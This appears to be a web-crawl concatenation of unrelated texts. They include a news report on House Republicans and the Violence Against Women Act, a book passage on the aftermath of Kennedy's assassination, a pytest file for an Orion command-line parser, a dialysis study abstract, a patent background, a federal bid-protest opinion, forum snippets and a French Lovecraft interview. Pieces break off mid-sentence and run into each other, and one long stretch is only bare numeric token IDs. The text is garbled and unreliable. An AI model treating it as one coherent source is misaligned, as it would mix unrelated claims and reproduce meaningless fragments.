The move angered some conservative Republicans, and it means that for the third time in the last two months, the House will pass a significant piece of legislation with minority Democrats carrying the vote.
“It’s a huge concern,” Rep. Raúl Labrador (R-Idaho) told reporters at a conservative press event Tuesday. He and other members were particularly worried, he said, that it was “becoming the norm” for the House to accept bills from the Senate without moving a Republican version.
The issue underscores the difficulty Speaker John Boehner John Andrew BoehnerLongtime House parliamentarian to step down Five things we learned from this year's primaries Bad blood between Pelosi, Meadows complicates coronavirus talks MORE (R-Ohio) has had in navigating between pressure from conservatives on his right and the White House and Senate Democrats on his left.
Labrador and other conservatives complained that by skipping the committees of jurisdiction, Boehner John Andrew BoehnerLongtime House parliamentarian to step down Five things we learned from this year's primaries Bad blood between Pelosi, Meadows complicates coronavirus talks MORE was bypassing the “regular order” process he had recommitted to at the outset of the 113th Congress.
But while Boehner has sought to pursue regular order on budgetary matters and immigration reform, among other issues, he has also told Republicans that the party must pick its battles with the “Democratic majority” in Washington.
Democrats have been hammering Republicans for months over the bill after Obama won big with female voters in the November election.
“It started to turn into a political issue rather than getting the policy right,” a House GOP leadership aide said.
Democrats cheered the decisions, and joined Republicans on Wednesday in supporting a procedural motion to set up the votes for Thursday.
The GOP aide said Republicans would still have an opportunity to pass a House version on Thursday and set up a conference committee with the Senate, but Rep. Tom Cole (R-Okla.) said the expected failure of the House bill would serve as a lesson to conservatives who have routinely bucked the leadership.
“There’s a little bit of a lesson to the conference in that, that maybe you guys need to learn to work together and get to 218,” Cole said. “Your fights and differences amongst yourselves are so pronounced that you’re losing the ability to influence the larger legislation.
“So it’s a teachable moment for the Republican Conference,” added Cole, who planned to vote against the House bill but in favor of the Senate version.
The Senate passed its bill earlier this month on a bipartisan vote of 78-22.
The two versions are broadly similar, but provisions involving the treatment of tribal lands and lesbian, gay, bisexual and transgender (LGBT) issues were sticking points throughout the process. The House and Senate bickered for months in 2012 over the issue.
The Senate passed a similar bipartisan bill, but House Republicans refused to take it up over concerns that the legislation violated the Constitution by raising revenue without originating in the House.
The House passed its own bill, but Senate Democrats would not enter formal negotiations on its measure, which had the support of many Republicans and domestic violence advocacy groups.
The Senate scrapped the revenue provisions in this year’s version, as advocates plan to insert them into immigration legislation later in the year.
Many House Republicans opposed the expanded protections for Native American victims in the Senate bill, while Native American tribes opposed more restrictive provisions in the House bill as an infringement on their sovereignty.
Cole, a Native American member of the Chickasaw Nation, and Rep. Darrell Issa (R-Calif.) tried to forge a compromise on the tribal provisions, but they could not get a vote on their amendment. Without the change, Cole said he preferred the Senate bill.
Cantor declined to comment as he left a closed-door House GOP Conference meeting, where several members complained to the leadership about its handling of the Violence Against Women Act.
“I think they want the bill dealt with,” Cole said of the party leadership.
He praised the decision to allow for up-or-down votes on both versions, saying it was a way of following Boehner’s promise to let the House “work its will.”
“I think that’s a pretty adult way to deal with a conference that on this issue is pretty fractious and pretty divided,” Cole said. “The Democrats have held their unity, and that gives them enormous leverage in this case.”
While the current House GOP bill did not go through committee in the new Congress, a leadership aide said it was an updated version of legislation that did follow the regular order process last year.
“I think that we’ve all worked very hard to try to find a bill that would get maximum amount of support, and the decision’s been made and we’re moving forward,” said Rep. Bob Goodlatte Robert (Bob) William GoodlatteNo documents? Hoping for legalization? Be wary of Joe Biden Press: Trump's final presidential pardon: himself USCIS chief Cuccinelli blames Paul Ryan for immigration inaction MORE (R-Va.), chairman of the House Judiciary Committee, which has jurisdiction over the Violence Against Women Act.
Vera Gornostayeva
Vera Gornostayeva (October 1, 1929 – January 19, 2015) was a Russian pianist and pedagogue.
An Emeritus Artist of the Russian Federation at the time of her death, Gornostayeva was a graduate of the Moscow Tchaikovsky Conservatory, where her teacher was Heinrich Neuh |
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] | ARREN—it reminds him of the anti-Kennedy ad he saw in the _Dallas Morning News_.
Rhett James was at the Trade Mart when word began spreading that Kennedy had been shot. To him it was like a mental pandemonium—not a physical one, but a mental one. As if the room and everyone in it had surrendered to something. He knew he would have to prepare sermons, eulogies, emergency services at New Hope. And he would talk about the basic things, the elemental things—about hope, about clinging to faith.
James and Lyndon Johnson had been trading letters for the last few months. Johnson and his aides seemed to rely on James's field reports about the increasingly important black voters in Texas, on how they were feeling about Texas Governor John Connally and his stances on civil rights. And LBJ and his team wondered, internally, where James was headed—what exactly he had in mind as he tried to form a new, black-based political organization in Texas.
Now LBJ is president—and James decides to send him a letter trying to provide some balm:
_Dear Mr. President:_
_... As we have talked in your office many times, I have been working and giving my service to your cause and the cause of our nation... Dallas is hanging its head in sorrow, more so because this shame to our nation happened in our city... As you have stated, this act was caused by conditions which could have occurred in any city. Yet, Dallas is the city it occurred... Today, things have changed, and I and thousands of Texans still feel that we are fortunate that you were the man to take over the position of President..._
_Mr. President, I will continue to pray for you and work for your cause and I want you to know that I am convinced that you represent the Joshua of the hour..._ 16
In the hours after the assassination, reporters began calling Congressman Bruce Alger, demanding some reaction. Alger, uncharacteristically, refused comment.
Political observers felt Alger was someone Dallas _needed_ to distance itself from. Some brooding, hidden wings of the Dallas Citizens Council probably remained deeply wary of Alger anyway. No doubt some thought he might be, as a public figure, a fiscal liability—annoying the Kennedy administration so much that it was denying Dallas the highly coveted, multimillion-dollar federal project that would turn a cheap real estate investment into a gusher of profit for the local millionaires. They loved Alger when he attacked Kennedy's politics, but loathed him when he couldn't figure out a way to convince Kennedy to green-light the lucrative federal project.
On the evening of the assassination, Alger decided to issue a statement:
"No words can express our deep sorrow in this tragic hour. God alone can sustain us in our loss."
Now, on the morning following the president's death, Alger is sending three telegrams—to John Connally's wife, to Lyndon Johnson, and to Jacqueline Kennedy. The one to Mrs. Kennedy says: "We beseech God to give us strength to preserve our country, to which your husband was so dedicated."
In the immediate aftermath of the Kennedy shooting, thousands of people—including FBI agents—were very anxiously trying to find out where General Walker was and what he was doing. Finally, Walker decides to release a written statement. Walter Cronkite stops dramatically to read it on the air as part of CBS's continuing coverage:
"From Dallas Texas: The first comment from former Major General Edwin Walker, who is one of the more vocal right wing leaders in the United States. And he said: 'The death of Mr. Kennedy is not as surprising as it is tragic. The tragic events of yesterday demonstrate the internal threat that can never be underestimated.' "
_Sunday, November 24_
The major networks, magazines, and newspapers all have reporters combing Dallas, and many of them are rushing to prepare pieces to prosecute the city.
The Reverend W. A. Criswell of the mighty First Baptist Church knows the reporters are out and about. He awoke early in the morning, as is his custom. He has already spent hours laboring over the final lines for the day's sermons.
He has long planned his pre-Thanksgiving sermon to be about the Pilgrim fathers, about how they had brought hope and freedom to a savage world. With the president having been shot eight blocks away, he knows that he will have to offer something different today. He decides to title the new sermon: "The Red Terror."
Five blocks to the east of the church, embattled Dallas Police Chief Jesse Curry has a building crammed full of reporters and photographers amid tight security. Earlier, the police let the media know that Oswald would be transferred from the city jail to the county jail at 10 a.m. The suspect has been relentlessly interrogated for two days now, and this will be another opportunity for newsmen to get a good look at him. The reporters and photographers wait noisily, impatiently, as the clock ticks past ten with no sign of the suspect. Word passes that Oswald is being interrogated one last time upstairs before leaving the building.
At 10:19 a.m., Jack Ruby receives a call at his apartment from a Fort Worth dancer named Little Lynn. She is worried about lost income with the Carousel Club temporarily shutting down, and she is begging for a salary advance. Ruby listens and tells her he will take care of it, that he will go to the Western Union office in downtown Dallas and wire her enough money to tide her over.
Ruby picks out a neat suit, tie, cuff links, and pinkie ring. He sobs quietly as he thinks about the "Letter to Caroline" in that morning's _Dallas Times Herald_. In it, a young girl offers to share her own daddy with Kennedy's now fatherless daughter. Ruby has been telling people that he can't bear the thought that Jacqueline Kennedy would ever have to return to Dallas to confront in court the man who shot her husband.
Ruby smooths down his oiled hair and grabs his fedora. He brings his small dog, Sheba, and places her in the car. He drives downtown, passing through Dealey Plaza, where fresh wreaths have been laid overnight. He parks across from Western Union. It is 11:05. He leaves Sheba in the car.
The police headquarters is just a block away, and he can see that a crowd is still gathered, even though Oswald should have been transferred an hour ago. Inside Western Union, a line has formed. Ruby waits patiently. Finally, it is his turn, and he signs the paperwork to send the money to Little Lynn. His receipt is stamped with the exact time: 11:17.
Those few blocks to the west, the Reverend W. A. Criswell is in the pulpit, railing against communism, against Lenin, against the revolutionaries who have brought death to Dallas.
The hundreds of congregants huddle and stare at him, listening carefully to their pastor's first sermon in the wake of the murder of President John F. Kennedy, the man who Criswell once said was surely under the sway of the papal empire:
"The assassination that so darkly and tragically was enacted upon the streets of our queenly city of Dallas was perpetrated by a man who was schooled in Communist ideology... we have seen on the streets of our city, a typical product of Communist ideology: vengeance, blood, terror."
Finishing up at Western Union, Ruby walks down Main Street and to the Dallas police building. His dog is still in his car. Ruby has visited this building many times. He nimbly avoids the large crowd gathered out front and walks down a ramp into the basement. The policeman guarding the area doesn't even notice him. It is 11:21.
Upstairs, Oswald is finally entering the elevator for the prisoner transfer to the basement. He delayed things even more by asking for a different sweater before being taken downstairs.
As the elevator descends, Oswald is closely handcuffed to Detective Jim Leavelle. Looking over at the prisoner, Leavelle jokes, "Lee, if anybody shoots at you, I hope they're as good a shot as you are."
Finally, Oswald appears in front of the jockeying reporters and photographers. Flashbulbs are popping and reporters shout questions at him. He appears to be smirking. With everyone turning toward Oswald, Ruby finishes his short walk by joining the throng of newsmen. He has phenmetrazine, a stimulant, in his bloodstream. He's long practiced the art of getting to the front of a crowd.
Just as Criswell is finishing his First Baptist sermon about the Red Terror creeping into Dallas, the slightly balding Ruby is reaching inside his pocket for his black .38 Colt Cobra revolver.
Suddenly there is a flash of movement as Ruby darts forward and cries out: "You son of a bitch!" The explosion of the gunshot rings off the basement walls. Millions of Americans are witnessing the first-ever live murder broadcast on television.
Ruby is quickly gang-tackled and brought under control. Amid all the shouting and pushing, he looks around, seemingly confused.
"You all know me," he says. "I'm Jack Ruby!"
Later, in custody on the fifth floor, Ruby stares at the somber officers and agents looming over him. He has been stripped, searched, and relieved of H. L. Hunt's anti-Kennedy _Life Line_ scripts found in his jacket. Left in his unders |
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64
] | commonly known, though it ran under other titles in other markets. It eventually appeared in nearly 400 newspapers. Grab Bag often featured the occasional asides of "Our Love and War Man," a character that presented items developed by him with his wife, Patricia.
Boyd was "Love" and his wife "War"—although his wife Patricia maintained it was the other way around—he told Chronicle writer Sam Whiting in 2000. To another reporter Boyd said that "sometimes he's the Love part, sometimes [Patricia] is."
The column led to the formation of Crown Syndicate by Boyd and his wife, which went on to offer several other columns and puzzles.
The couple met in 1960, when Mr. Boyd was writing a column for the Houston Chronicle called Dial Watchem, which fielded reader complaints about broken signs and potholes. He had hired Patricia as an assistant. They were married 45 years and raised her six children.
Boyd also had three children from a previous marriage.
Boyd announced his retirement at the end of 2000, but popular demand brought the column back for a few more years. The final column officially ran on August 7, 2004, when Boyd was 77.
References
Category:Writers from Spokane, Washington
Category:American columnists
Category:1927 births
Category:2007 deathsWe’re big fans of Citrix Hypervisor. We demand the maximum out of the product and it works.
Neil Bailey
Head of IT Infrastructure, Enterprise Architecture and Innovations
Aston Martin Red Bull Racing
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Example usage and tests for :mod:`orion.core.io.orion_cmdliner_parser`."""
import pytest
from orion.core.io.orion_cmdline_parser import OrionCmdlineParser
from orion.core.worker.trial import Trial
@pytest.fixture
def parser():
"""Return an instance of `OrionCmdlineParser`."""
return OrionCmdlineParser(allow_non_existing_user_script=True)
@pytest.fixture
def parser_diff_prefix():
"""Return an instance of `OrionCmdlineParser` with a different config prefix."""
return OrionCmdlineParser(config_prefix='config2', allow_non_existing_user_script=True)
@pytest.fixture
def commandline():
"""Return a simple commandline list."""
return ["--seed=555",
"--lr~uniform(-3, 1)",
"--non-prior=choices({{'sgd': 0.2, 'adam': 0.8}})",
"--prior~choices({'sgd': 0.2, 'adam': 0.8})"]
@pytest.fixture
def commandline_fluff(commandline):
"""Add extra useless info to commandline."""
cmd_args = commandline
cmd_args.extend(["--some-path=~/some_path",
"--home-path=~",
"~/../folder/.hidden/folder"])
return cmd_args
@pytest.fixture
def cmd_with_properties(commandline):
"""Add extra arguments that use `trial` and `exp` properties"""
cmd_args = commandline
cmd_args.extend(["--trial-name", "{trial.hash_name}", "--exp-name", "{exp.name}"])
return cmd_args
def test_parse_from_yaml_config(parser, yaml_config):
"""Parse from a yaml config only."""
parser.parse(yaml_config)
config = parser.priors
assert len(config.keys()) == 6
assert '/layers/1/width' in config
assert '/layers/1/type' in config
assert '/layers/2/type' in config
assert '/training/lr0' in config
assert '/training/mbs' in config
assert '/something-same' in config
def test_parse_from_json_config(parser, json_config):
"""Parse from a json config only."""
parser.parse(json_config)
config = parser.priors
assert len(config.keys()) == 6
assert '/layers/1/width' in config
assert '/layers/1/type' in config
assert '/layers/2/type' in config
assert '/training/lr0' in config
assert '/training/mbs' in config
assert '/something-same' in config
def test_parse_from_unknown_config(parser, some_sample_config):
"""Parse from a unknown config type only."""
parser.parse(some_sample_config)
config = parser.priors
assert len(config.keys()) == 6
assert '/layers/1/width' in config
assert '/layers/1/type' in config
assert '/layers/2/type' in config
assert '/training/lr0' in config
assert '/training/mbs' in config
assert '/something-same' in config
def test_parse_equivalency(yaml_config, json_config):
"""Templates found from json and yaml are the same."""
parser_yaml = OrionCmdlineParser(allow_non_existing_user_script=True)
parser_yaml.parse(yaml_config)
dict_from_yaml = parser_yaml.config_file_data
parser_json = OrionCmdlineParser(allow_non_existing_user_script=True)
parser_json.parse(json_config)
dict_from_json = parser_json.config_file_data
assert dict_from_json == dict_from_yaml
def test_parse_from_args_only(parser, commandline_fluff):
"""Parse a commandline."""
cmd_args = commandline_fluff
parser.parse(cmd_args)
assert not parser.config_file_data
assert len(parser.cmd_priors) == 2
assert '/lr' in parser.cmd_priors
assert '/prior' in parser.cmd_priors
assert parser.parser.template == \
['--seed', '{seed}', '--lr', '{lr}', '--non-prior', '{non-prior}', '--prior', '{prior}',
'--some-path', '{some-path}', '--home-path', '{home-path[0]}', '{home-path[1]}']
def test_parse_from_args_and_config_yaml(parser, commandline, yaml_config):
"""Parse both from commandline and config file."""
cmd_args = yaml_config
cmd_args.extend(commandline)
parser.parse(cmd_args)
config = parser.priors
assert len(config) == 8
assert '/lr' in config
assert '/prior' in config
assert '/layers/1/width' in config
assert '/layers/1/type' in config
assert '/layers/2/type' in config
assert '/training/lr0' in config
assert '/training/mbs' in config
assert '/something-same' in config
template = parser.parser.template
assert template == ['--config', '{config}', '--seed', '{seed}', '--lr', '{lr}',
'--non-prior', '{non-prior}', '--prior', '{prior}']
def test_parse_finds_conflict(parser, commandline, yaml_config):
"""Parse find conflicting declaration in commandline and config file."""
cmd_args = yaml_config
cmd_args.extend(commandline)
cmd_args.extend(["--something-same~choices({'sgd': 0.2, 'adam': 0.8})"])
with pytest.raises(ValueError) as exc:
parser.parse(cmd_args)
assert 'Conflict' in str(exc.value)
def test_format_commandline_only(parser, commandline):
"""Format the commandline using only args."""
parser.parse(commandline)
trial = Trial(params=[
{'name': '/lr', 'type': 'real', 'value': -2.4},
{'name': '/prior', 'type': 'categorical', 'value': 'sgd'}])
cmd_inst = parser.format(trial=trial)
assert cmd_inst == ["--seed", "555",
"--lr", "-2.4",
"--non-prior", "choices({'sgd': 0.2, 'adam': 0.8})",
"--prior", "sgd"]
def test_format_commandline_and_config(parser, commandline, json_ |
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] | point. I’ve always been interested in Japanese culture, but lately I find myself skirting around Hindu and old Chinese mythologies a lot. Two cultures I know next to nothing about but am interested in. Would love to do a wuxia book some day.
It’s almost Halloween, so tell me your favorite 3 monsters.
1. Wolfman/Werewolf
2. Creature From The Black Lagoon
3. Kaiju (giant monsters or giant animals – Godzilla, Gamera,
Daimajin, I would include Them! and Night of The Lepus in here too).
You and those damned Lepi. What monster do you think is under rated?
Creature from the Black Lagoon. Someday I’ll write something with that guy in it. He’s got such a great, singular look. When I was a kid he was my absolute favorite. They’ve got these diving sets for kids where the mask and the flippers and the gloves make you look like the Creature, with webbed clawed hands and a fin on your head. I bought one for my son awhile ago but he grew out of it. Wish I’d had it as a kid.
I almost bought that even though it wouldn’t fit me! I envy kids almost all of their toys nowadays.
And now for the eternal question: If you had to be a vampire or werewolf, which would it be?
Werewolf. The biggest curse of being a vampire is having to drink only blood for eternity. I’d miss beer and Chinese food. Werewolves get all that and they get to run naked in the woods and they can smell a pizza from a mile away. They seem to have awesome stamina as well. I guess it’s all the running. Great cardio. I don’t see any drawbacks there.
I suppose they’re running off all the pizza! What is the scariest thing in the world to you?
Death. Non-existence. The possibility of having your consciousness obliterated. I don’t believe that’s what happens, but there’s
always a possibility. I guess that’s not technically in this world….I don’t know…cancer. Your body failing on you.
That brings us astrologically to our final interrogative…Crab emoticon: Best emoticon, or Bestest emoticon?
I think it deserves its own appellation. I vote Bestemicon.
****************************************************************
There you have it folks!
Please click through the links in the story to check out the items mentioned or go to Ed’s website for a chance to win giveaways all month long!Determination of urea distribution volume for Kt/V assessed by conductivity monitoring.
Kt/V can be calculated continuously during dialysis without blood samples using the ionic dialysance method. Unlike the usual method using blood samples, a precise value for the patients' urea distribution volume is required. This study compared different methods for the determination of urea distribution volume (V) to evaluate their use in Kt/V measurement, based on conductivity monitoring. Ten patients were studied during 40 dialysis sessions. Total body water and V were determined using bioimpedance spectroscopy (BIS), anthropometric data, and blood-based kinetic data. Ionic dialysance was measured by conductivity monitoring. Total body water measured by bioimpedance was determined as VBIS= 37.0 +/- 7.1 L or 49.6 +/- 4.4% of body weight. V determined using ionic dialysance as input to urea kinetic modeling (UKM) was found to correlate well with total body water (VKecn= 36.4 +/- 5.2 L). All anthropometric equations overestimated measured V: VWatson= 40.7 +/- 3.9 L, VHume= 41.8 +/- 2.5 L, VChertow= 44.6 +/- 3.3 L, and VChumlea= 43.1 +/- 2.9 L. Single-pool Kt/V obtained by kinetic modeling was used as reference (Kt/V)SPVV= 1.49 +/- 0.15. Using different Vs as the V component in the ionic dialysance Kt/V, we obtained: Kecn*t/VWatson= 1.34 +/- 0.12, Kecn*t/VBIS= 1.51 +/- 0.21 and Kecn*t/VKecn= 1.52 +/- 0.18. The single-pool Kt/V calculated using the ionic dialysance method agreed with the conventional blood sample method provided that V was calculated using BIS or urea kinetics. V by either method was reproducible and varied little in an individual patient. Monthly determination of V allows determination of Kt/V for each dialysis session by ionic dialysance.The Utah Jazz have had a quietly effective offseason, adding solid role players in Mo Williams, Marvin Williams and Randy Foye while only losing Devin Harris and Raja Bell.
While they haven't had an offseason quite like the Los Angeles Lakers, it's safe to say that the moves they have made will help them out tremendously in the upcoming NBA season.
One of the most important moves was the hiring of Dennis Lindsey as their new general manager (via Brian T. Smith of The Salt Lake Tribune).
Kevin O'Connor, who has manned the GM position for the past 13 years, will stay on in Utah as the executive vice president of player operations. Lindsey comes in to work directly with O'Connor and the Jazz front office.
Most recently, Lindsey was vice president and assistant general manager of the San Antonio Spurs for five years. He had a lot of direct influence, especially with any draft-related tasks.
This hire is a big move for a Utah Jazz organization that is primed and ready to make serious noise in the Western Conference. With everyone around them getting better, the time is now for the Jazz to act.
Presumably, the team is one star player away from serious championship contention. It's safe to say that the front office brought Lindsey in as the guy they will be trusting to make that big move.
With plenty of pieces to work with and players to help develop, Lindsey comes aboard a close-knit organization that rarely makes moves such as these.
O'Connor himself has been around for 13 years, while the owner, Greg Miller, is the son of late owner Larry H. Miller. On top of that, Jerry Sloan coached the Jazz for 22 years before stepping down last year.
Suffice it to say that the folks running the show in Utah don't just throw anybody into lofty positions like this. Not unless they really believe they have the right guy.
And it appears they like they're chance with Lindsey. Kevin O'Connor loved the hire (via NBA.com):
Dennis is a proven talent evaluator whose experience will be a real asset to the Jazz organization. He is a high-character individual who is well respected around the league and I look forward to working with him on a daily basis.
With Lindsey taking over a lot of Kevin O'Connor's duties, this leaves O'Connor with much more time to perform his magic behind the scenes.
O'Connor has had a lot on his plate since the Jerry Sloan/Deron Williams debacle a year ago and hasn't been getting any younger. Lindsey is younger, hungrier and ready for the challenge.
The keys of the franchise have been handed to Mr. Lindsey.1. Field of the Invention
The invention relates to devices for preventing thermal and mechanical stresses in internal combustion engines. In particular, this invention relates to an automatic control device associated with the governor of an internal combustion engine for regulating the fuel pumps during engine overload conditions.
2. Description of the Prior Art
The main diesel engine of all ships that have direct rotation from the engine to constant pitch propellers perform according to the propeller characteristics. Propeller characteristics depend upon effective parameters of working conditions derived to the propeller, or propeller torque, and other parameters of working conditions derived from the number of revolutions of the diesel engine when it is working to the propeller. Working conditions vary according to the ambient conditions at any given time--wind, sea conditions, keel draugh, towing or load, physical condition of the propeller and ship's hull, depth of water, etc.
In the operation of diesel engines with constant pitch propellers, the two most important speed considerations are those under full speed, and those under loaded or towing conditions. Full speed is necessarily variable to accommodate a wide range of loaded conditions, and the power requirements vary accordingly.
When a ship enters shallow waters, the resistance by the ship's hull increases, and the power expenditure required to overcome the wave action and water resistance increases. With an increase in power requirement, there is a resultant increase in combustion pressure, exhaust gas temperature, and mean indicator pressure. Exceeding the manufacturer's limits of these characteristics causes the engine to undergo both thermal and mechanical stress. At the same time, considerable increase in fuel consumption is required with a decrease in forward speed. To overcome the stress situation, it has been necessary to decrease the fuel supply manually from the control room or the bridge.
Under towing or loaded condition, which are the principal heavy working requirements of the engine, the operator determines the optimum control necessary to prevent the placing of stress on the engine. This is accomplished by constant observance of exhaust gas temperature or power indicator gauges. Due to continuing changes in ambient conditions encountered by the ship, the control room operator may choose to delay taking corrective action, since conditions may reverse at |
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] | received in response to
the 181 Solicitation, “[t]he C[ontracting]O[fficer] is required to see if an award can be made
at a reasonable price, when comparing the SDVOSB concerns’ proposals with each
other,” relying on FAR Section 15.404-1(b)(2)(i) for support. (emphasis in original). As
indicated in the Administrative Record, however, the ‘276 Solicitation was designated as
“a commercial item acquisition using Simplified Acquisition Procedures under the
authority of FAR 13.5 Simplified Procedures for Certain Commercial Items.” Even if FAR
Part 15 was applicable, protestor’s reliance on FAR Part 15 is unavailing. As discussed
above, FAR Part 15 allows a Contracting Officer to evaluate whether the submitted price
was fair and reasonable using different information sources including comparison of the
40
submitted prices with historical prices and the IGCE. Should the Contracting Officer find
the bids to not be fair and reasonable, as he did for all the bids received in response to
the ‘181 Solicitation, the Contracting Officer is not restricted to evaluating prices solely
from within the SDVOSB context when deciding to solicit or cancel the ‘181 Solicitation
and establishing the ‘276 Solicitation as a 100% small business set-aside instead. See
generally 48 C.F.R. § 15.404-1.
FAR Part 13 grants a contracting officer discretion to evaluate the fairness and
reasonableness of prices based on comparisons with the IGCE, incumbent pricing,
market research, and personal experience with similar contracts. This includes the
flexibility and discretion to evaluate factors not related to SDVOSBs in determining
whether an offeror’s price proposal was fair and reasonable. In protestor’s earlier bid
protest for the ‘276 Solicitation denied by the GAO, the GAO stated:
Neither 38 U.S.C. § 8127(d) nor its implementing regulations require the
contracting officer to utilize a specific type of analysis to decide whether the
agency can reasonably expect to make an award to an SDVOSB at a fair
and reasonable price. By their terms, section 13.106 and 15.404 of the FAR
apply where an agency is evaluating proposed prices in response to a
competition. They are not mandated where, as in this case, an agency is
conducting market research to assess the propriety of a set-aside decision.
Moreover, it defies logic that an agency would be limited to utilizing pricing
from a competition that was cancelled because all the prices were found to
be unreasonably high as the yardstick for reasonableness. Rather, under
such circumstances a contracting officer has the discretion to reasonably
utilize other price analysis techniques such as consideration of an IGCE
when making a set-aside decision.
In re: Veteran Shredding, LLC, B-417399, 2019 WL 2490468, at *4 (footnotes omitted)
(internal citations omitted). This court agrees with the GAO that the Contracting Officer,
pursuant to either FAR Part 13 or Part 15, was not required to conduct comparisons solely
within the SDVOSB context to determine fair and reasonable prices.
The Contracting Officer’s actions were not arbitrary or capricious when he acted
within his discretion to evaluate prices via market research in determining that the ‘276
Solicitation should be a 100% small business set-aside. Following the cancellation of the
‘181 Solicitation, the Contracting Officer conducted multiple rounds of market research.
In March 2018 and January 2019, the Contracting Officer searched government
databases using parameters to narrow down the possibilities of VOSB, SDVOSB, and
small businesses which may be capable of fulfilling the MVAHCS document destruction
services contract. The March 2018 market research produced a shortlist of VOSBs,
which, after reviewing, the Contracting Officer found none could perform the requirements
of the contract. A search for small businesses which might be able to perform the
MVAHCS document destruction services contract generated potentially, more positive
results than the search for VOSBs using the same NAICS and SIN codes.
The Contracting Officer issued a Sources Sought notice in June 2018 which
elicited responses from two SDVOSBs and two small businesses. The two SDVOSB
41
responses came from [redacted] and protestor, vendors which had submitted some of the
high bids for the ‘181 Solicitation. Since the June 2018 Sources Sought was only three
months after the issuance and cancellation of the ‘181 Solicitation, it was not
unreasonable for the Contracting Officer to expect that the document destruction services
market had not significantly changed in the intervening three months. Additionally, the
Contracting Officer considered [redacted]’s and protestor’s behaviors during the ‘181
Solicitation. The Contracting Officer requested price revisions following the initial
submission of proposals in response to the ‘181 Solicitation because “none of the
quotations received were fair and reasonable because all pricing significantly exceeded
the IGCE.” The Contracting Officer “suggested that the 5 offerors review the incumbent
contractor’s pricing (Shred N Go) and provide final revised pricing” “[i]n an effort to obtain
fair and reasonable pricing” for the ‘181 Solicitation. [redacted] did not decrease its bid
after the Contracting Officer made his request and its proposed price remained
[redacted]% over the IGCE. Protestor decreased its bid, but still remained [redacted]%
above the IGCE for the ‘181 Solicitation. The Contracting Officer therefore had a
reasonable expectation that [redacted] and protestor would not “submit fair and
reasonable pricing that fell within the funding allocated for the re-solicitation of the
document destruction services requirement for MVAHCS.”
For the subsequent market research in January 2019, the Contracting Officer
issued another Sources Sought notice for the MVAHCS document destruction services
contract on January 23, 2019. [redacted], [redacted], and one small business responded.
As discussed above, [redacted] did not decrease its bid during the course of the ‘181
Solicitation and [redacted]’s had a history of high bids for document destruction services
solicitations at the Black Hills, St. Cloud, and Fargo VA Healthcare Systems. As a result,
the Contracting Officer did not act arbitrarily or capriciously when he concluded he could
not reasonably expect two or more VOSBs and SDVOSBs to make acceptable offers
based on the bidding patterns received for the ‘181 Solicitation, informal outreach, and
responses to two different Sources Sought notices.
Although the protestor alleges that new market research was done but “the IGCE
remained entirely unmodified,” there is no suggestion in the briefs or the Administrative
Record that the Contracting Officer’s approach was improper. The Contracting Officer
could reasonably conclude from his market research that two or more small businesses
could submit bids for the MVAHCS document destruction services contract. The
Contracting Officer’s search through government databases revealed more small
businesses than VOSBs or SDVOSBs which could potentially meet the contract
requirements. Additionally, two small businesses, [redacted] and [redacted] responded to
the June 2018 Sources Sought notice and were evaluated to be capable of providing the
requisite document destruction services. The incumbent small business vendor, Shred-
N-Go, twice expressed interest. The Contracting Officer also had knowledge about the
capabilities of five small businesses holding VA Healthcare document destruction
contracts in his geographic procurement area. The Contracting Officer, therefore, properly
could conclude that there was a reasonable expectation that two or more small
businesses, which could submit bids such that the ‘276 Solicitation could be set-aside for
small businesses.
42
Protestor alleges the IGCE relied on an unreasonable, incumbent, contract price
of $44,000.00 and argues there is “no analysis regarding the reasonableness of Shred-
N-Go’s contract price.” Protestor’s allegation is not supported by the Administrative
Record. Although Amendment 001 to the ‘276 Solicitation stated the incumbent’s contract
was worth $44,000.00, the base year estimates for the ‘181 and ‘276 Solicitations were
$[redacted] and $[redacted], respectively. Additionally, $[redacted] was requisitioned on
January 8, 2019 for incumbent Shred-N-Go in Requisition 618-19-2-6133-0149 for a year
of “SERVICE/DOCUMENT DESTRUCTION.” (capitalization in original). Consequently,
protestor does not persuasively argue why the IGCE necessarily relied on an incumbent
price of $44,000.00 or why the reliance on incumbent pricing was unreasonable.
Protestor tries to rely on Nutech Laundry & Textile, Inc. v. United States, 56 Fed.
Cl. 588 (2003) to argue the IGCE “failed to demonstrate the basis for the estimate,” was
not accompanied by “a description of cost figures upon which it is based nor the basis”
and, therefore, was inappropriately used as a point of price comparison. The above-
|
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1979,
28234,
285,
15589,
437,
1771,
407,
19872,
15,
4325,
39978,
285,
12689,
1634,
13,
281,
7623,
77,
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2472,
32226,
13,
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3962,
4944,
15,
12764,
512,
13,
187,
42,
717,
13329,
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305,
17922,
64,
6553,
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64,
12879,
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15,
309,
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2820,
281,
30409,
1993,
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3497,
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346,
911,
3014,
64,
8045,
3,
281,
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281,
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15,
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187,
7883,
310,
3909,
187,
187,
17104,
33310,
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27,
5559,
544,
33355,
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1394,
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13,
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16974,
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12517,
15,
187,
43,
8,
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23162,
1480,
13707,
3974,
69,
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8,
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1360,
42839,
17434,
885,
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826,
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265,
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187,
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] | ories
Complete your outfit with this season's must-have plus size accessories and jewellery by Evans. From belts and scarves, to necklaces and earrings, our plus size accessories are designed for a perfect fit.Hi all,
I am encountering a problem with the gtk_drawing_area widget. I am trying to diaplay video using drwaing area widget. I am creating a window and drawing area widget and i add this drawing area widget to the window.
and when i run the application i get a blank window, and only when i drag that window or i minimize and maximize it back the picture is visible. I am using an "expose_event" to connect to the callback function.
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You cannot post new topics in this forumYou cannot reply to topics in this forumYou cannot edit your posts in this forumYou cannot delete your posts in this forumYou cannot post attachments in this forumMy friend Harry has an annoying habit. When we're hanging out, every once in awhile, he'll put on a serious face and say he has something very important to tell me. Then, when he has my attention, he breaks out that annoying Bryan Adams song that begins with "Pleeease forgive me...". He thinks this … [Read more...]Bonjour, Christophe Thill, je suis spécialiste de Lovecraft.
J'ai été directeur éditorial de l'édition française de la biographie de Lovecraft
"Je suis Providence" qui est parue chez Actu SF
et je suis co-responsable des Editions Malpertuis
qui sont spécialisées dans la littérature fantastique.
Bonjour, je m'apelle Sergey Oganesyan
je suis l'un des Community Manager de Frogware, sur le jeu vidéo The Sinking City
Hp lovecraft est le grand écrivain du fantastique américain de l'entre-deux-guerres donc on peut dire qu'il a
révolutionné la littérature fantastique
en introduisant une nouvelle conception de l'horreur, empruntant des éléments
du domaine de la science-fiction.
Nous avons beaucoup
de Lovecraft dans le jeu.
Des références directes à Lovecraft à travers son univers,
ses personnages, de ses nouvelles
Tous les meilleurs
et d'autres, personnages et créatures issues de son univers
au underline teams comme les costumes,
le ressenti du fatalisme
Nous avons essayé d'implémenter Lovecraft à travers des références directes et des symboles
